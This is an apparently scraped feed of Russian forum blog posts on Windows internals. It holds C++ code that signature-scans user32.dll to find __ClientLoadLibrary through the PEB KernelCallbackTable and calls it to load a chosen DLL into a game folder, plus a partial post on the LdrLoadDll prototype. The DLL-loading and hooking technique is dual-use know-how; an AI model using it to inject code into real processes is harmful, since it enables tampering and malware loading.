&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x48</span>,<span class="nu12">0x89</span>,<span class="nu12">0x7C</span>,<span class="nu12">0x24</span>,<span class="nu12">0x18</span>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov qword ptr ss:[rsp+18],rdi</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span> PCCH mask_ClientLoadLibrary <span class="sy1">=</span> <span class="st0">&quot;xxxxxxxxxx&quot;</span><span class="sy4">;</span>
<span class="co2">#else</span>
&nbsp; &nbsp; BYTE pattren_ClientFreeLibrary<span class="br0">&#91;</span><span class="nu0">18</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0xFF</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov edi,edi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x55</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push ebp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0xEC</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov ebp,esp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x83</span>,<span class="nu12">0xEC</span>,<span class="nu12">0x18</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// sub esp,18</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x53</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push ebx</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x56</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push esi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x57</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push edi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0x7D</span>,<span class="nu12">0x08</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov edi,dword ptr ss:[ebp+8]</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x33</span>,<span class="nu12">0xDB</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// xor ebx,ebx</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0xF3</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov esi,ebx</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span> PCCH mask_ClientFreeLibrary <span class="sy1">=</span> <span class="st0">&quot;xxxxxxxxxxxxxxxxxx&quot;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; BYTE pattren_ClientLoadLibrary<span class="br0">&#91;</span><span class="nu0">34</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0xFF</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov edi,edi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x55</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push ebp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0xEC</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov ebp,esp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x81</span>,<span class="nu12">0xEC</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,&nbsp; <span class="co1">// sub esp,134</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0xA1</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>, &nbsp; &nbsp; &nbsp; <span class="co1">// mov eax,dword ptr ds:[&lt;___security_cookie&gt;]</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x33</span>,<span class="nu12">0xC5</span>,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// xor eax,ebp</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x89</span>,<span class="nu12">0x45</span>,<span class="nu12">0xFC</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov dword ptr ss:[ebp-4],eax</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x53</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push ebx</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x56</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push esi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x57</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push edi</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8B</span>,<span class="nu12">0x7D</span>,<span class="nu12">0x08</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// mov edi,dword ptr ss:[ebp+8]</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x8D</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,<span class="nu12">0x00</span>,&nbsp; <span class="co1">// lea eax,dword ptr ss:[ebp-108]</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x68</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// push 104</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span> PCCH mask_ClientLoadLibrary <span class="sy1">=</span> <span class="st0">&quot;xxxxxxx????x????xxxxxxxxxxxx?????x&quot;</span><span class="sy4">;</span>
<span class="co2">#endif // _WIN64</span>
<span class="br0">&#125;</span> apfnSignature<span class="sy4">;</span>
&nbsp;
&nbsp;
apfnDispatch Dispatch <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
apfnSignature Signature<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw4">bool</span> DataCompare<span class="br0">&#40;</span>PBYTE pData, PBYTE pattern, PCCH mask<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="sy4">;</span> <span class="sy2">*</span>mask<span class="sy4">;</span> mask<span class="sy2">++</span>, pattern<span class="sy2">++</span>, pData<span class="sy2">++</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy2">*</span>mask <span class="sy1">==</span> <span class="st0">'x'</span> <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span>pData <span class="sy3">!</span><span class="sy1">=</span> <span class="sy2">*</span>pattern<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">false</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">true</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
ULONG_PTR FindPattern<span class="br0">&#40;</span>PVOID addr, ULONG length, PBYTE pattern, PCCH mask<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; MEMORY_BASIC_INFORMATION mbi <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T offset <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>offset <span class="sy1">&lt;</span> length<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; VirtualQuery<span class="br0">&#40;</span><span class="br0">&#40;</span>LPCVOID<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>addr <span class="sy2">+</span> offset<span class="br0">&#41;</span>, <span class="sy3">&amp;</span>mbi, <span class="kw3">sizeof</span><span class="br0">&#40;</span>MEMORY_BASIC_INFORMATION<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>mbi.<span class="me1">State</span> <span class="sy3">!</span><span class="sy1">=</span> MEM_FREE<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PBYTE buffer <span class="sy1">=</span> <span class="kw3">new</span> BYTE<span class="br0">&#91;</span>mbi.<span class="me1">RegionSize</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ReadProcessMemory<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span>, mbi.<span class="me1">BaseAddress</span>, buffer, mbi.<span class="me1">RegionSize</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> i <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> i <span class="sy1">&lt;</span> mbi.<span class="me1">RegionSize</span><span class="sy4">;</span> i<span class="sy2">++</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>DataCompare<span class="br0">&#40;</span>buffer <span class="sy2">+</span> i, pattern, mask<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">delete</span><span class="br0">&#91;</span><span class="br0">&#93;</span> buffer<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>mbi.<span class="me1">BaseAddress</span> <span class="sy2">+</span> i<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">delete</span><span class="br0">&#91;</span><span class="br0">&#93;</span> buffer<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; offset <span class="sy2">+</span><span class="sy1">=</span> mbi.<span class="me1">RegionSize</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="kw4">int</span> main<span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; MessageBox<span class="br0">&#40;</span><span class="kw2">nullptr</span>, TEXT<span class="br0">&#40;</span><span class="st0">&quot;For initialize user32.dll&quot;</span><span class="br0">&#41;</span>, TEXT<span class="br0">&#40;</span><span class="st0">&quot;Message&quot;</span><span class="br0">&#41;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="co2">#ifdef _WIN64</span>
&nbsp; &nbsp; <span class="kw4">auto</span> pPeb <span class="sy1">=</span> <span class="br0">&#40;</span>PPEB<span class="br0">&#41;</span>__readgsqword<span class="br0">&#40;</span><span class="nu12">0x60</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="co2">#else</span>
&nbsp; &nbsp; <span class="kw4">auto</span> pPeb <span class="sy1">=</span> <span class="br0">&#40;</span>PPEB<span class="br0">&#41;</span>__readfsdword<span class="br0">&#40;</span><span class="nu12">0x30</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="co2">#endif // _WIN64</span>
&nbsp; &nbsp; <span class="kw4">auto</span> pList <span class="sy1">=</span> pPeb<span class="sy2">-</span><span class="sy1">&gt;</span>Ldr<span class="sy2">-</span><span class="sy1">&gt;</span>InMemoryOrderModuleList.<span class="me1">Flink</span><span class="sy4">;</span>
&nbsp; &nbsp; HMODULE hMod <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; MODULEINFO hModInfo <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; WCHAR buffer<span class="br0">&#91;</span>MAX_PATH<span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span>, PathTo<span class="br0">&#91;</span>MAX_PATH<span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; GetWindowsDirectoryW<span class="br0">&#40;</span>buffer, MAX_PATH<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; swprintf_s<span class="br0">&#40;</span>PathTo, <span class="co3">L</span><span class="st0">&quot;%s<span class="es1">\\</span>System32<span class="es1">\\</span>USER32.dll&quot;</span>, buffer<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> i <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span> i <span class="sy1">&lt;</span> <span class="nu0">100</span><span class="sy4">;</span> i<span class="sy2">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">auto</span> pDataTable <span class="sy1">=</span> <span class="br0">&#40;</span>PLDR_DATA_TABLE_ENTRY<span class="br0">&#41;</span><span class="br0">&#40;</span>pList <span class="sy2">-</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>wcscmp<span class="br0">&#40;</span>pDataTable<span class="sy2">-</span><span class="sy1">&gt;</span>FullDllName.<span class="me1">Buffer</span>, PathTo<span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetModuleHandleEx<span class="br0">&#40;</span>GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, <span class="br0">&#40;</span>PCCH<span class="br0">&#41;</span>pDataTable<span class="sy2">-</span><span class="sy1">&gt;</span>DllBase, <span class="sy3">&amp;</span>hMod<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetModuleInformation<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span>, hMod, <span class="sy3">&amp;</span>hModInfo, <span class="kw3">sizeof</span><span class="br0">&#40;</span>MODULEINFO<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> pList <span class="sy1">=</span> pList<span class="sy2">-</span><span class="sy1">&gt;</span>Flink<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;user32.dll!apfnDispatch (PEB.KernelCallbackTable): 0x&quot;</span> <span class="sy1">&lt;&lt;</span> pPeb<span class="sy2">-</span><span class="sy1">&gt;</span>Reserved7 <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; Dispatch.<span class="me1">ClientFreeLibrary</span> <span class="sy1">=</span> <span class="br0">&#40;</span>_ClientFreeLibrary<span class="br0">&#41;</span>FindPattern<span class="br0">&#40;</span>hModInfo.<span class="me1">lpBaseOfDll</span>, hModInfo.<span class="me1">SizeOfImage</span>, Signature.<span class="me1">pattren_ClientFreeLibrary</span>, Signature.<span class="me1">mask_ClientFreeLibrary</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Dispatch.<span class="me1">ClientLoadLibrary</span> <span class="sy1">=</span> <span class="br0">&#40;</span>_ClientLoadLibrary<span class="br0">&#41;</span>FindPattern<span class="br0">&#40;</span>hModInfo.<span class="me1">lpBaseOfDll</span>, hModInfo.<span class="me1">SizeOfImage</span>, Signature.<span class="me1">pattren_ClientLoadLibrary</span>, Signature.<span class="me1">mask_ClientLoadLibrary</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;apfnDispatch.ClientFreeLibrary: 0x&quot;</span> <span class="sy1">&lt;&lt;</span> Dispatch.<span class="me1">ClientFreeLibrary</span> <span class="sy1">&lt;&lt;</span> <span class="st0">&quot;<span class="es1">\n</span>apfnDispatch.ClientLoadLibrary: 0x&quot;</span> <span class="sy1">&lt;&lt;</span> Dispatch.<span class="me1">ClientLoadLibrary</span> <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; UNICODE_STRING uStr_DLL <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span>, uStr_Func <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>uStr_DLL, <span class="co3">L</span><span class="st0">&quot;<span class="es1">\\</span>??<span class="es1">\\</span>D:<span class="es1">\\</span>Games<span class="es1">\\</span>Red Dead Redemption 2<span class="es1">\\</span>vulkan-1.dll&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>uStr_Func, <span class="co3">L</span><span class="st0">&quot;vkCreateDevice&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; CAPTUREBUF CaptureBuf <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">BufferSize</span> <span class="sy1">=</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>CAPTUREBUF<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">AdditionalDataSize</span> <span class="sy1">=</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>CAPTUREBUF<span class="br0">&#41;</span> <span class="sy2">-</span> <span class="nu0">2</span> <span class="sy2">*</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>SIZE_T<span class="br0">&#41;</span> <span class="sy2">-</span> <span class="nu0">3</span> <span class="sy2">*</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>ULONG<span class="br0">&#41;</span> <span class="sy2">-</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>PVOID<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">offCbkPtrs</span> <span class="sy1">=</span> <span class="nu12">0x28</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="co1">// Optional values</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">FixupsCount</span> <span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">pFree</span> <span class="sy1">=</span> <span class="sy3">&amp;</span>CaptureBuf<span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">bFixed</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">lpDLLPath</span> <span class="sy1">=</span> uStr_DLL<span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">lpfnNotify</span> <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">lpInitFunctionName</span> <span class="sy1">=</span> uStr_Func<span class="sy4">;</span>
&nbsp; &nbsp; CaptureBuf.<span class="me1">offCbk</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy1">=</span> <span class="nu0">14</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; LRESULT Result <span class="sy1">=</span> Dispatch.<span class="me1">ClientLoadLibrary</span><span class="br0">&#40;</span><span class="sy3">&amp;</span>CaptureBuf<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; CHAR Message<span class="br0">&#91;</span>MAX_PATH<span class="br0">&#93;</span> <span class="sy1">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; FormatMessage<span class="br0">&#40;</span>FORMAT_MESSAGE_FROM_SYSTEM <span class="sy3">|</span> FORMAT_MESSAGE_FROM_HMODULE, LoadLibrary<span class="br0">&#40;</span><span class="st0">&quot;ntdll&quot;</span><span class="br0">&#41;</span>, <span class="br0">&#40;</span>ULONG<span class="br0">&#41;</span>Result, <span class="kw2">NULL</span>, Message, MAX_PATH, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; setlocale<span class="br0">&#40;</span>LC_ALL, <span class="st0">&quot;Russian&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cout</span> <span class="sy1">&lt;&lt;</span> Message <span class="sy1">&lt;&lt;</span> std<span class="sy4">::</span><span class="me2">endl</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; std<span class="sy4">::</span><span class="kw3">cin</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Делаем точку останова на __ClientLoadLibrary и видим с помощью символов user32.pdb, что всё получилось как нельзя лучше (адрес найден, функция инициализирована и захвачена нами)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5679&amp;d=1572352565" rel="Lightbox" id="attachment5679" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5679&amp;thumb=1&amp;d=1572352565" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 1467
Размер:	78.9 Кб
ID:	5679" style="margin: 5px" /></a><br />
<br />
По мере дальнейшего углубления в дебри __ClientLoadLibrary постараюсь реализовать до конца метод перехвата SetWindowsHookEx.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6136.html</guid>
		</item>
		<item>
			<title>Правильный прототип LdrLoadDll</title>
			<link>https://www.cyberforum.ru/blogs/172954/5934.html</link>
			<pubDate>Mon, 22 Jul 2019 12:14:10 GMT</pubDate>
			<description>Почему-то везде в интернете ходит один и тот же неправильный прототип nt-функции LdrLoadDll...</description>
			<content:encoded><![CDATA[<div>Почему-то везде в интернете ходит один и тот же неправильный прототип nt-функции LdrLoadDll<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="652175293"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="652175293" style="height: 174px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
</pre></td><td class="de1"><pre class="de1">NTSYSAPI
NTSTATUS
NTAPI
LdrLoadDll<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_opt_ PWSTR DllPath,
&nbsp; &nbsp; _In_opt_ PULONG DllCharacteristics,
&nbsp; &nbsp; _In_ PUNICODE_STRING DllName,
&nbsp; &nbsp; _Out_ PVOID <span class="sy2">*</span>DllHandle
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>ведать один написал (ещё со времен какой-нить висты) и все с него бездумно копируют.<br />
<br />
Начнём разбирать.<br />
Количество параметров функции. Хотя бы здесь не ошиблись (тут собственно и не ошибёшься, такие функции тянутся ещё с XP и редко меняются) - всего 4 параметра.<br />
Теперь берём IDA и запихиваем в неё KernelBase.dll (именно её, а не kernel32.dll - с Windows 7 эта либа стала заглушкой, которая просто перенаправляет на KernelBase).<br />
Смотрим на LoadLibraryA - банальный механизм через twain ссылается на LoadLibraryExA<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="145980238"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="145980238" style="height: 94px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
</pre></td><td class="de1"><pre class="de1"><span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw4">r8d</span><span class="sy1">,</span> <span class="kw4">r8d</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; dwFlags</span>
<span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw4">edx</span><span class="sy1">,</span> <span class="kw4">edx</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; hFile</span>
<span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw4">rcx</span><span class="sy1">,</span> <span class="kw4">rdi</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; lpLibFileName</span>
<span class="kw1">call</span> &nbsp; &nbsp;LoadLibraryExA</pre></td></tr></table></div></td></tr></tbody></table></div>переходим к LoadLibraryExA и видим что она вызывает LoadLibraryExW (в ядре нет ansi, только юникод)<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="893830465"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="893830465" style="height: 94px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
</pre></td><td class="de1"><pre class="de1"><span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw4">rcx</span><span class="sy1">,</span> <span class="br0">&#91;</span><span class="kw4">rsp</span><span class="sy1">+</span><span class="nu0">38h</span><span class="sy1">+</span>UnicodeString<span class="sy1">.</span>Buffer<span class="br0">&#93;</span> <span class="co1">; lpLibFileName</span>
<span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw4">r8d</span><span class="sy1">,</span> <span class="kw4">ebx</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; dwFlags</span>
